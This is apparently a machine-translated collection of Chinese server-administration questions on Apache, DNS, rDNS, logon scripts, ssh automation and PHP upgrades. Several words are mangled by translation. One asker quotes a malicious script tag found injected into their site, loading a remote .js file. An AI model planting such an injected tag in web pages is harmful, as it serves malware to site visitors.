服务器问题集锦,包括 Linux(Ubuntu, Centos,Debian等)和Windows Server服务器
我在Ubuntu 10.04上安装了LAMP。 现在,无论何时我尝试访问http:// localhost /我得到这个消息: 禁止您无权访问/在此服务器上。 本地端口80上的Apache / 2.2.14(Ubuntu)服务器 我尝试通过点击ALT-f2,键入“gksu nautilus”并右键单击该文件夹并更改权限来更改var / www /文件夹的权限,但仍然收到403禁止的错误。 任何想法发生了什么?
我正在和英国的一些合作伙伴合作。 我的办公室在越南。 我们遇到networking问题:我的合作伙伴可以使用域名(例如http://example.com)访问内部网站,但我只能使用直接IP访问该网站,例如192.168.1.85。 我无法使用“ping website.name”来ping该Web服务器,但是如果使用“ping 192.168.1.85”,则可以正常工作。 我想使用域名。 请帮忙。
我的网站被Google / StopBadware.org标记为危险,我在几个js / html文件中发现了这个: <script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Gigahertz.js"></script> <!–a0e2c33acd6c12bdc9e3f3ba50c98197–> 我清理了几个文件,我恢复备份,但如何了解如何安装蠕虫? 我可以在日志文件中find什么? 这个服务器,一个Centos 5,只能作为一个Apache服务器,用我们的程序,一个tikiwiki,一个drupal安装。 谢谢 塞德里克
我已经有了一个专用的服务器。 不幸的是,我不知道该怎么做/如何pipe理它。 我在计算机科学的许多领域都有背景,但是从来没有把重点放在networking,服务器pipe理等方面。 我所要求的是推荐书籍,基本上,我希望能够熟练掌握如何pipe理域名,区域,设置邮件服务器,能够轻松安装任何Web服务器等。 通过shell进行正确的服务器pipe理所需的一切。 我可能会坚持使用Parallels或Cpanel。 但是我不喜欢这些,特别是它如何在文件系统上添加大量的入侵用户帐户和configuration。 谢谢
这里的目标是开始一个简单的.NET应用程序,它在login时捕获一些环境variables(时间,用户名,计算机名等)。 此.NET应用程序订阅Windows“用户注销”事件。 启动时,应用程序捕获上述variables,并在注销(我正在捕获)时在我的数据库中创build一个logging,我更新同一logging中的另一个字段与注销时间。 上面的工作正如我所愿,当我启动二进制文件时,它会初始化日志条目,然后等待注销事件并更新相同的logging。 限制,.NET二进制文件应该能够位于共享点(\ server \ share \ myapp \ v1)上,这样我就可以将应用程序更新到(\ server \ share \ myapp \ v2),并简单地更新GPO / Logon脚本。 我最初的想法是使用\ domaincontroller \ sysvol \目录来存储二进制文件,然后更新所有用户帐户,以包含对我的应用程序的调用。 你能看到这种方法的缺陷吗? 我的问题是这样的:首先,我的想法有什么问题吗? 其次,如果是这样,通过组策略或其他方式,确保在服务器上启动会话时启动此应用程序的最佳方式是什么?
通常,在设置邮件服务器时,我会为邮件服务器IP创build一个rDNSlogging以匹配邮件服务器主机名(例如:mail.example.com)。 我是否可以将rDNS ptr设置为与父域(例如example.com)相匹配,如果此服务器用于多种目的,并且仍然能够成功发送邮件(即不被归类为不匹配rDNS的垃圾邮件)? 谢谢! 编辑:在http://en.wikipedia.org/wiki/Forward_Confirmed_reverse_DNS的文章似乎表明,它可能比我想象的更复杂。 例如,1)我不知道你可以有一个给定的IP多个PTRlogging; 2)看来,只要每个PTRlogging匹配一个Alogging,一切都好(基本上无效我的问题)。 你同意吗?
我们有一台运行DNS的Mac OS X 10.5.8服务器(以及其他一些服务)。 当我连接到它(使用服务器pipe理10.5.3 [这来自服务器pipe理10.5.7工具]),并点击查看DNS设置,都显示正常 – 它显示了许多反向条目和两个顶级域。 但是,当我select我们的一个域名并打开显示三angular形时,该列表为空! [应该有十几个条目,反向条目显示出来]如果我告诉它,我想添加一个A Record到域中,几乎所有的东西都消失了 – 我剩下一个列表我们的两个领域,其中一个显示三angular形显示一个单一的条目,一个反向条目对应新的Alogging。 named似乎工作正常。 DNS名称parsing。 这似乎是服务器pipe理员在计算机上的数据有问题。 这里没有人会手动创build一个DNS条目。 现在,虽然我想我已经备份了DNS(我在这里提到备份了/var/named/ /etc/named.conf和/etc/dns/ ),但我真的不确定是否只需要replace这些文件将恢复我们所拥有的DNS设置。 我正在考虑去设置和日志级别从“信息”更改为“debugging”,但1)我只是有点担心,它可能会写入一个坏的configuration到磁盘,2)我认为这只会影响named而不是服务器pipe理员,据我所知, named是没有问题的。 (/Library/Logs/named.log中没有什么奇怪的东西,当我通过控制台/terminal打开时奇怪的是,当我点击服务器pipe理中的DNS日志button时,我看不到任何文本,只是一个完全白色的窗口当我看到我们的一个辅助DNS服务器时,我能够通过服务器pipe理看到日志文件。) 当我在服务器上运行服务器pipe理时,此条目出现在系统日志中: Jun 17 09:02:08 od1 Server Admin[3892]: Unexpected call to doMarkConfigurationAsDirty by 'DNS' plugin during updateConfigurationViewFromDescription 这似乎发生在我看了DNS后,看看另一个服务,然后点击DNS。 认为最可能的原因是一个损坏的configuration文件,我浏览了所有备份的文件,而且没有一个是显而易见的。 当从远程计算机运行服务器pipe理来pipe理DNS时,我发现了一些奇怪的现象。 当我点击查看DNS的日志文件时,服务器开始写这样的消息到它的system.log: Jun 17 09:59:04 od1 kernel[0]: Limiting open port RST response from 252 […]
我试图创build一个bash脚本,将scp脚本到远程服务器,ssh(使用已安装的ssh密钥)到远程服务器,执行上载的脚本,然后在完成时删除远程脚本。 我不清楚如何在bash脚本中运行ssh会话。 以下是我用来从命令行执行的命令: scp my_script.sh [email protected]:/usr/home/user/ ssh [email protected] >sh my_script.sh >rm myscript.sh >exit 如何编写我的命令列表的ssh部分? 谢谢!
我有一个旧的Fedora服务器上的CRM,运行Apache 2.2.6,MySQL 5.0.27和PHP 5.1.6。 我看到有几个选项可以解决我的问题,但是我认为我会在服务器错误处咨询这个专业人士,看看我是否缺less任何东西。 这是花了很长时间寻找解决scheme的networking之后。 选项1 将Fedora逐步升级到Fedora 7,然后升级到8,然后我需要的PHP包将可用。 我知道这是危险的,因为存储库的位置,依赖关系等 选项2 使用这种方法升级。 这可能会或可能不会工作,所以会被认为是一个废话拍摄。 我咨询了一些IT人员,他们说最好的办法是备份数据,并用更新的硬件和软件构build新的服务器。 我碰巧同意,但是想先耗尽我所有的资源。
这是这一个相反的问题。 我的目的是当你只写PHP5代码来兼容PHP4时,没有必要。 这完全没有帮助,而且由于这两个版本的对象模型的差异,它必然会对解释器的性能产生影响(或者我错了吗?)。 所以我的问题是: 是否有可能重新编译PHP5没有与PHP4逆向兼容或禁用它以任何其他方式获得表演? 如果不可能的话,有没有一个项目在哪个目标?